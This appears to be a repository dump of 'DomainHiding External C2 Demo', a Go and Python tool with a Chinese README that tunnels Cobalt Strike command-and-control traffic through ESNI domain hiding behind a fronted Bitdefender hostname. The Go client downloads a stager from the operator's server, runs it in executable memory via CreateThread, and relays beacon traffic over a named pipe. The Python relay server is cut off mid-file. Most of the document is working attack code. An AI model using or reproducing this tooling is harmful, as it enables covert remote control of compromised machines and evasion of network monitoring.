├── .idea
├── DomainHiding.iml
├── modules.xml
├── vcs.xml
└── workspace.xml
├── .python-version
├── README.md
├── common
├── esni_Doh.go
└── invokedll.go
├── go.mod
├── go.sum
├── main
└── main.go
└── server.py
/.idea/DomainHiding.iml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
--------------------------------------------------------------------------------
/.idea/modules.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/.idea/vcs.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/.idea/workspace.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 | true
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 |
110 |
111 |
112 |
113 |
114 |
115 |
116 |
117 |
118 |
119 |
120 |
121 |
122 |
123 |
124 |
125 |
126 |
127 |
128 |
129 |
130 |
131 |
132 |
133 |
134 | file://$PROJECT_DIR$/main/main.go
135 | 138
136 |
137 |
138 |
139 |
140 |
141 |
--------------------------------------------------------------------------------
/.python-version:
--------------------------------------------------------------------------------
1 | 3.7.3
2 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # DomainHiding External C2 Demo
2 |
3 | ## Domain Hiding
4 |
5 | https://github.com/SixGenInc/Noctilucent
6 |
7 | 
8 |
9 | 利用此技术可实现对C2的隐藏,但是国内这个技术不能使用,为啥?可以看[这里](https://geneva.cs.umd.edu/posts/china-censors-esni/esni/)。
10 |
11 |
12 | ## This Demo
13 | 这个项目是一个demo,代码写的有点戳,就是简要实现了一下利用此技术的External C2。
14 |
15 | 需要准备的东西:
16 | ```
17 | 1、使用cloudflare解析的域名。
18 | 2、一个VPS(C2),另外DNS上需要设置将域名指向此VPS
19 | ```
20 |
21 | 寻找用来伪装的域名。可以看[这里](https://github.com/SixGenInc/Noctilucent/tree/master/findfronts)。
22 |
23 | 替换`main.go` 中相关项
24 | ```
25 | frontDomain 替换要伪造成的域名
26 | actualDomain 替换成自己的域名
27 | pipeName 自定义一个管道名称
28 | ```
29 |
30 | Cobaltstrike开启External c2
31 | ```
32 | externalc2_start("0.0.0.0",2222);
33 | ```
34 |
35 | 在VPS上运行`server.py`
36 |
37 | ```
38 | sudo python server.py
39 | ```
40 |
41 | 运行client
42 | ```
43 | go run main.go
44 | ```
45 |
46 | 最终效果:
47 |
48 | 
49 |
50 | DNS数据:
51 | 
52 |
53 | 查询VPS ip:
54 |
55 | 
56 |
57 |
58 | 非常感谢以下优秀的项目作为本项目支撑:
59 | ```
60 | https://github.com/Lz1y/GECC
61 | https://github.com/SixGenInc/Noctilucent
62 | https://github.com/mdsecactivebreach/Browser-ExternalC2
63 | ```
--------------------------------------------------------------------------------
/common/esni_Doh.go:
--------------------------------------------------------------------------------
1 | // Based on https://github.com/ahhh/godns
2 | package common
3 |
4 | import (
5 | "crypto/tls"
6 | "encoding/base64"
7 | "encoding/json"
8 | "errors"
9 | "fmt"
10 | "io/ioutil"
11 | "log"
12 | "math/rand"
13 | "net/http"
14 | "strings"
15 | "time"
16 | )
17 |
18 | var resolvers = []string{
19 | "http://dns.alidns.com/resolve",
20 | //"https://doh.pub/dns-query",
21 | //"https://dns.twnic.tw/dns-query",
22 | //"https://doh-2.seby.io/dns-query",
23 | //// "https://dns.containerpi.com/dns-query", // Down?
24 | //"https://cloudflare-dns.com/dns-query",
25 | //"https://doh-fi.blahdns.com/dns-query",
26 | //"https://doh-jp.blahdns.com/dns-query",
27 | //"https://doh-de.blahdns.com/dns-query",
28 | //"https://dns.dns-over-https.com/dns-query",
29 | //"https://doh.securedns.eu/dns-query",
30 | //"https://dns.rubyfish.cn/dns-query",
31 | //"https://mozilla.cloudflare-dns.com/dns-query", // Firefox uses this as default (allowed by Untangle)
32 | //"https://trr.dns.nextdns.io/dns-query", // Firefox has this as an option (not allowed by Untangle)
33 | ////"https://dns.google/dns-query",
34 | ////"https://dns10.quad9.net/dns-query",
35 | //"https://doh.dns.sb/dns-query",
36 | }
37 |
38 | type DNSResponse struct {
39 | Status int `json:"Status"`
40 | TC bool `json:"TC"`
41 | RD bool `json:"RD"`
42 | AD bool `json:"AD"`
43 | CD bool `json:"CD"`
44 | Question []Question `json:"Question"`
45 | Answer []Answer `json:"Answer"`
46 | }
47 |
48 | type Question struct {
49 | Name string `json:"name"`
50 | Type int `json:"type"`
51 | }
52 |
53 | type Answer struct {
54 | Name string `json:"name"`
55 | Type int `json:"type"`
56 | TTL int `json:"TTL"`
57 | Data string `json:"data"`
58 | }
59 |
60 | func trimQuotes(s string) string {
61 | if len(s) >= 2 {
62 | if s[0] == '"' && s[len(s)-1] == '"' {
63 | return s[1 : len(s)-1]
64 | }
65 | }
66 | return s
67 | }
68 |
69 | func shuffle(src []string) []string {
70 | final := make([]string, len(src))
71 | rand.Seed(time.Now().UnixNano())
72 | perm := rand.Perm(len(src))
73 |
74 | for i, v := range perm {
75 | final[v] = src[i]
76 | }
77 | return final
78 | }
79 |
80 | // For cleaner logging
81 | type logWriter struct {
82 | }
83 |
84 | func (writer logWriter) Write(bytes []byte) (int, error) {
85 | // return fmt.Print(time.Now().UTC().Format("2006-01-02T15:04:05.999Z") + " [DEBUG] " + string(bytes))
86 | return fmt.Print(string(bytes))
87 | }
88 |
89 | func QueryESNIKeysForHostDoH(hostname string, insecureSkipVerify bool) ([]byte, error) {
90 | log.SetFlags(0)
91 | log.SetOutput(new(logWriter))
92 | myResolvers := shuffle(resolvers)
93 | for _, resolverTarget := range myResolvers {
94 | //log.Printf("[+] Using resolver: " + resolverTarget)
95 | response, err := BaseRequest(resolverTarget, "_esni."+hostname, "TXT", insecureSkipVerify)
96 | if err != nil {
97 | //log.Printf("[E] Error: %v", err)
98 | // Try the next resolver
99 | continue
100 | }
101 | var responseJson DNSResponse
102 | // log.Println(response)
103 | json.Unmarshal([]byte(response), &responseJson)
104 | if len(responseJson.Answer) == 0 {
105 | return nil, errors.New("got no data from DNS query")
106 | }
107 | data := trimQuotes(responseJson.Answer[0].Data)
108 | // log.Println(data)
109 | dataBytes, err := base64.StdEncoding.DecodeString(data)
110 | if err != nil && strings.HasPrefix(err.Error(), "illegal base64 data") {
111 | //log.Printf("[!] Could not decode response, possible CNAME")
112 | return QueryESNIKeysForHostDoH("cloudflare.com", insecureSkipVerify) // All CF domains use the same key, worth a shot
113 | } else if err != nil {
114 | //log.Printf("[E] Error: %v", err)
115 |
116 | } else {
117 | // log.Println(dataBytes)
118 | return dataBytes, nil
119 | }
120 | }
121 | return nil, errors.New("no resolver could be reached")
122 | }
123 |
124 | // BaseRequest makes a DNS over HTTP (DOH) GET request for a specified query
125 | func BaseRequest(server, query, qtype string, insecureSkipVerify bool) (string, error) {
126 | //encquery := base64.StdEncoding.EncodeToString([]byte(query))
127 | //encquery = url.QueryEscape(encquery)
128 | qurl := server + "?name=" + query + "&type=" + qtype
129 | tr := &http.Transport{
130 | TLSClientConfig: &tls.Config{InsecureSkipVerify: insecureSkipVerify},
131 | TLSHandshakeTimeout: time.Second * 5,
132 | }
133 | client := &http.Client{Transport: tr}
134 | req, _ := http.NewRequest("GET", qurl, nil)
135 | req.Header.Set("accept", "application/dns-json")
136 | res, err := client.Do(req)
137 | if err != nil {
138 | //log.Println("[E] Error getting the url")
139 | return "", err
140 | }
141 | defer res.Body.Close()
142 | body, err := ioutil.ReadAll(res.Body)
143 | if err != nil {
144 | //log.Printf("[E] Error getting the url")
145 | return "", err
146 | }
147 | return string(body), nil
148 | }
149 |
--------------------------------------------------------------------------------
/common/invokedll.go:
--------------------------------------------------------------------------------
1 | package common
2 |
3 | /*
4 | #include
5 | #include
6 | #include
7 | void sayHi(int* p,int len) {
8 | char * payload = VirtualAlloc(0, 1024*1024, MEM_COMMIT,PAGE_EXECUTE_READWRITE);
9 | memcpy(payload, p, len);
10 | CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)payload, (LPVOID)NULL, 0, NULL);
11 | }
12 | */
13 | import "C"
14 | import "unsafe"
15 |
16 | func CreateThread(p []byte) {
17 | C.sayHi((*C.int)((unsafe.Pointer)(&p[0])), (C.int)(len(p)))
18 | }
--------------------------------------------------------------------------------
/go.mod:
--------------------------------------------------------------------------------
1 | module DomainHiding
2 |
3 | go 1.14
4 |
5 | require (
6 | github.com/Microsoft/go-winio v0.4.14
7 | github.com/SixGenInc/Noctilucent v0.0.0-20200809195215-75d6b91122ed
8 | github.com/cloudflare/sidh v0.0.0-20190228162259-d2f0f90e08aa // indirect
9 | github.com/henrydcase/nobs v0.0.0-20200516223741-2500d74484f2 // indirect
10 | golang.org/x/crypto v0.0.0-20200423211502-4bdfaf469ed5 // indirect
11 | golang.org/x/sys v0.0.0-20200501145240-bc7a7d42d5c3 // indirect
12 | )
13 |
--------------------------------------------------------------------------------
/go.sum:
--------------------------------------------------------------------------------
1 | github.com/Microsoft/go-winio v0.4.14 h1:+hMXMk01us9KgxGb7ftKQt2Xpf5hH/yky+TDA+qxleU=
2 | github.com/Microsoft/go-winio v0.4.14/go.mod h1:qXqCSQ3Xa7+6tgxaGTIe4Kpcdsi+P8jBhyzoq1bpyYA=
3 | github.com/SixGenInc/Noctilucent v0.0.0-20200809195215-75d6b91122ed h1:M9zl6QvVLqTvulVxUTvszliIp3siP6wIDCoIKC6gSsk=
4 | github.com/SixGenInc/Noctilucent v0.0.0-20200809195215-75d6b91122ed/go.mod h1:LeRr72Kj3YRyl7l+4OxncARd43KFAEGJ3uRojQNSxsg=
5 | github.com/cloudflare/sidh v0.0.0-20190228162259-d2f0f90e08aa h1:2pQJShMsIfrl5+NnJRzWSmp6FDUZY3LcnviKOYn9qWM=
6 | github.com/cloudflare/sidh v0.0.0-20190228162259-d2f0f90e08aa/go.mod h1:o/DcCuWFr9jFzwO+c3y1hhwqKHHKfJ7HvLhWUwRnqfo=
7 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
8 | github.com/henrydcase/nobs v0.0.0-20200516223741-2500d74484f2 h1:AXrXF/Vav986tcvZ5hVjs8itFJ0E1FhPCWuYjaGCQxU=
9 | github.com/henrydcase/nobs v0.0.0-20200516223741-2500d74484f2/go.mod h1:+liTPsuK0xSOSyNKhVz4h7Khig8zW4NcvxdVbzS0Jyw=
10 | github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ=
11 | github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
12 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
13 | github.com/sirupsen/logrus v1.4.1/go.mod h1:ni0Sbl8bgC9z8RoU9G6nDWqqs/fq4eDPysMBDgk/93Q=
14 | github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
15 | github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
16 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
17 | golang.org/x/crypto v0.0.0-20200423211502-4bdfaf469ed5 h1:Q7tZBpemrlsc2I7IyODzhtallWRSm4Q0d09pL6XbQtU=
18 | golang.org/x/crypto v0.0.0-20200423211502-4bdfaf469ed5/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
19 | golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
20 | golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
21 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
22 | golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
23 | golang.org/x/sys v0.0.0-20190507160741-ecd444e8653b/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
24 | golang.org/x/sys v0.0.0-20191120155948-bd437916bb0e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
25 | golang.org/x/sys v0.0.0-20200501145240-bc7a7d42d5c3 h1:5B6i6EAiSYyejWfvc5Rc9BbI3rzIsrrXfAQBWnYfn+w=
26 | golang.org/x/sys v0.0.0-20200501145240-bc7a7d42d5c3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
27 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
28 |
--------------------------------------------------------------------------------
/main/main.go:
--------------------------------------------------------------------------------
1 | // MIT License
2 |
3 | // Copyright (c) 2020 Critical Start Inc., Quentin Rhoads-Herrera, Chase Dardaman, Blaise Brignac
4 |
5 | // Permission is hereby granted, free of charge, to any person obtaining a copy
6 | // of this software and associated documentation files (the "Software"), to deal
7 | // in the Software without restriction, including without limitation the rights
8 | // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | // copies of the Software, and to permit persons to whom the Software is
10 | // furnished to do so, subject to the following conditions:
11 |
12 | // The above copyright notice and this permission notice shall be included in all
13 | // copies or substantial portions of the Software.
14 |
15 | // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | // SOFTWARE.
22 |
23 | package main
24 |
25 | import (
26 | "DomainHiding/common"
27 | "encoding/base64"
28 | "encoding/binary"
29 | "log"
30 | "runtime"
31 | "strings"
32 | "time"
33 | //"bytes"
34 | //"crypto/rand"
35 | "fmt"
36 | //"github.com/DeimosC2/DeimosC2/lib/crypto"
37 | dhtls "github.com/SixGenInc/Noctilucent/tls"
38 | "io/ioutil"
39 | "net"
40 | "net/http"
41 | "github.com/Microsoft/go-winio"
42 | )
43 |
44 | var key string //Key of the agent
45 | // == Start edits ==
46 | var frontDomain = "www.bitdefender.com" // Front domain set to this
47 | var port = "443" //Port of the listener
48 | var actualDomain = "yourdomain" // True destination domain
49 | var pipeName = `foobar`
50 | var isDebug = false
51 | // == End edits ==
52 | var modPort int
53 |
54 |
55 | type DomainHiding struct {
56 | httpClient *http.Client
57 | Debug bool
58 | }
59 | type PipeChannel struct {
60 | Pipe net.Conn
61 | Debug bool
62 | }
63 |
64 |
65 | func (c *PipeChannel) ReadPipe() ([]byte, int, error) {
66 | sizeBytes := make([]byte, 4)
67 | if _, err := c.Pipe.Read(sizeBytes); err != nil {
68 | return nil, 0, err
69 | }
70 | size := binary.LittleEndian.Uint32(sizeBytes)
71 | if size > 1024*1024 {
72 | size = 1024 * 1024
73 | }
74 | var total uint32
75 | buff := make([]byte, size)
76 | for total < size {
77 | read, err := c.Pipe.Read(buff[total:])
78 | if err != nil {
79 | return nil, int(total), err
80 | }
81 | total += uint32(read)
82 | }
83 | if size > 1 && size < 1024 && c.Debug {
84 | log.Printf("[+] Read pipe data: %s\n", base64.StdEncoding.EncodeToString(buff))
85 | }
86 | return buff, int(total), nil
87 | }
88 |
89 | func (c *PipeChannel) WritePipe(buffer []byte) (int, error) {
90 | length := len(buffer)
91 | if length > 2 && length < 1024 && c.Debug {
92 | log.Printf("[+] Sending pipe data: %s\n", base64.StdEncoding.EncodeToString(buffer))
93 | }
94 | sizeBytes := make([]byte, 4)
95 | binary.LittleEndian.PutUint32(sizeBytes, uint32(length))
96 | if _, err := c.Pipe.Write(sizeBytes); err != nil {
97 | return 0, err
98 | }
99 | x, err := c.Pipe.Write(buffer)
100 | return x + 4, err
101 | }
102 |
103 | func (s *DomainHiding) getStager()([]byte, error) {
104 | osVersion := "86"
105 | if runtime.GOARCH == "amd64" {
106 | osVersion = "64"
107 | }
108 | targetUrl := "/arch/?file="+ osVersion + "&p=" + pipeName
109 | if s.Debug {
110 | log.Println("[+] Stager information:")
111 | log.Println("[+] OS: "+osVersion)
112 | log.Println("[+] Pipename=" + pipeName)
113 | log.Println(fmt.Sprintf("[+] Request url=%s", targetUrl))
114 | }
115 | resp, err := s.httpClient.Get("https://" + actualDomain + ":" + port + targetUrl)
116 | if err != nil {
117 | fmt.Println(err.Error())
118 | return nil, err
119 | }
120 | defer resp.Body.Close()
121 | if resp.StatusCode == http.StatusOK {
122 | body, err := ioutil.ReadAll(resp.Body)
123 | if err != nil {
124 | fmt.Println(err.Error())
125 | return nil,err
126 | }
127 | stager, err := base64.StdEncoding.DecodeString(string(body))
128 | if err != nil {
129 | log.Println("[-] Error to get stager, exit..")
130 | log.Println(err)
131 | return nil, err
132 | }
133 | return stager, nil
134 | }else{
135 | log.Println(resp.StatusCode)
136 | return nil, nil
137 | }
138 |
139 | return nil, nil
140 | }
141 |
142 | func (s *DomainHiding) ReadFrame() ([]byte, error) {
143 | targetUrl := "/receive/"
144 | resp, err := s.httpClient.Get("https://" + actualDomain + ":" + port + targetUrl)
145 | if err != nil {
146 | fmt.Println(err.Error())
147 | return nil, err
148 | }
149 | defer resp.Body.Close()
150 | if resp.StatusCode == http.StatusOK {
151 | body, err := ioutil.ReadAll(resp.Body)
152 | if err != nil {
153 | log.Println(err.Error())
154 | return nil, err
155 | }
156 | if s.Debug {
157 | log.Println(fmt.Sprintf("[+] Request url=%s", targetUrl))
158 | log.Println(fmt.Sprintf("[+] Receive data =%s", string(body)))
159 | }
160 | stager, err := base64.StdEncoding.DecodeString(string(body))
161 | if err != nil {
162 | log.Println("[!] Error to get stager")
163 | return nil, err
164 | }
165 | return stager, nil
166 | }else{
167 | log.Println(resp.StatusCode)
168 | return nil, nil
169 | }
170 | return nil, nil
171 | }
172 |
173 | func (s *DomainHiding) WriteFrame(buffer []byte) (int, error) {
174 | targetUrl := "/send/"
175 | postData := base64.StdEncoding.EncodeToString(buffer)
176 | if s.Debug {
177 | log.Println(fmt.Sprintf("[+] Request url=%s", targetUrl))
178 | log.Println(fmt.Sprintf("[+] Send data: %s", base64.StdEncoding.EncodeToString(buffer)))
179 | }
180 | _, err := s.httpClient.Post("https://" + actualDomain + ":" + port + targetUrl,"application/plain", strings.NewReader(postData))
181 | if err != nil {
182 | log.Println(err.Error())
183 | return 0, err
184 | }
185 | return 1 , nil
186 | }
187 |
188 |
189 | func main() {
190 | esniKeysBytes, err := common.QueryESNIKeysForHostDoH("cloudflare.com", true)
191 | if err != nil {
192 | log.Println("[E] Failed to retrieve ESNI keys for host via DoH: %s", err)
193 | return
194 | }
195 | esnikeys, err := dhtls.ParseESNIKeys(esniKeysBytes)
196 | if err != nil {
197 | log.Println("[E] Failed to parse ESNI keys: %s", err)
198 | return
199 | }
200 | tlsConfig := &dhtls.Config{
201 | InsecureSkipVerify: true,
202 | ClientESNIKeys: esnikeys,
203 | MinVersion: dhtls.VersionTLS13, // Force TLS 1.3
204 | MaxVersion: dhtls.VersionTLS13,
205 | ESNIServerName: actualDomain,
206 | PreserveSNI: false,
207 | ServerName: frontDomain}
208 | var (
209 | conn *dhtls.Conn
210 | )
211 | httpClient := &http.Client{
212 | Transport: &http.Transport{
213 | DialTLS: func(network, addr string) (net.Conn, error) {
214 | conn, err = dhtls.Dial("tcp", frontDomain +":"+port, tlsConfig)
215 | return conn, err
216 | },
217 | },
218 | }
219 |
220 | dh := &DomainHiding{httpClient, isDebug}
221 | stager, _ := dh.getStager()
222 | if stager == nil{
223 | //log.Println(err.Error())
224 | return
225 | }
226 |
227 | common.CreateThread(stager)
228 |
229 | //Wait for namedpipe open
230 | time.Sleep(3e9)
231 | client, err := winio.DialPipe(`\\.\pipe\`+pipeName, nil)
232 | if err != nil {
233 | log.Printf(err.Error())
234 | return
235 | }
236 | defer client.Close()
237 | pipe := &PipeChannel{client, isDebug}
238 |
239 | for {
240 | //sleep time
241 | time.Sleep(1e9)
242 | n, _, err := pipe.ReadPipe()
243 | if err != nil {
244 | log.Printf(err.Error())
245 | }
246 |
247 |
248 | dh.WriteFrame(n)
249 | z, err := dh.ReadFrame()
250 | if err != nil {
251 | log.Printf(err.Error())
252 | }
253 | pipe.WritePipe(z)
254 | }
255 | }
256 |
--------------------------------------------------------------------------------
/server.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: UTF-8 -*-
3 | import socket
4 | import struct
5 | import time
6 | import base64
7 | import binascii
8 | from urllib import parse
9 | from http.server import BaseHTTPRequestHandler,HTTPServer
10 |
11 |
12 | ec2_host = "127.0.0.1"
13 | port = 80
14 | ec2_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
15 | #ec2_socket.settimeout(10)
16 |
17 | class get_handler(BaseHTTPRequestHandler):
18 | #Handler for the GET requests
19 | def do_GET(self):
20 | if(self.path.startswith("/arch/")):
21 | try:
22 | parseResult = parse.urlparse(self.path)
23 | param_dict = parse.parse_qs(parseResult.query)
24 | arch = param_dict['file']
25 | pipename = param_dict['p']
26 | if(arch[0] == "64"):
27 | arch = "x64"
28 | else:
29 | # The architecture will be x86 by default
30 | arch = "x86"
31 | init_connection(ec2_host, 2222)
32 | response = get_payload(arch, pipename[0])
33 | except Exception as e:
34 | response = "Error {}".format(e).encode('utf-8')
35 |
36 | self.send_response(200)
37 | self.send_header('Content-type', 'text/html')
38 | self.send_header("Cache-Control", "no-cache, no-store, must-revalidate")
39 | self.send_header("Pragma", "no-cache")
40 | self.send_header("Expires", "0")
41 | self.send_header("Access-Control-Allow-Origin", "*")
42 | self.end_headers()
43 | self.wfile.write(response)
44 |
45 | elif(self.path.startswith("/receive/")):
46 | self.send_response(200)
47 | self.send_header('Content-type','text/html')
48 | self.send_header("Cache-Control", "no-cache, no-store, must-revalidate")
49 | self.send_header("Pragma", "no-cache")
50 | self.send_header("Expires", "0")
51 | self.send_header("Access-Control-Allow-Origin", "*")
52 | self.end_headers()
53 | data = recv_data()
54 | self.wfile.write(base64.b64encode(data))
55 |
56 | else:
57 | self.send_response(404)
58 | def do_POST(self):
59 | if(self.path.startswith("/send/")):
60 | length = int(self.headers.get('Content-Length'))
61 | self.send_response(200)
62 | self.send_header('Content-type','text/html')
63 | self.send_header("Cache-Control", "no-cache, no-store, must-revalidate")
64 | self.send_header("Pragma", "no-cache")
65 | self.send_header("Expires", "0")
66 | self.send_header("Access-Control-Allow-Origin", "*")
67 |
68 | self.end_headers()
69 |
70 | data = self.rfile.read(length)
71 | send_data(base64.b64decode(data))
72 |
73 | return
74 |
75 |
76 | def send_data(data):
77 | if type(data) == str:
78 | data = data.encode("utf-8")
79 | temp = struct.pack("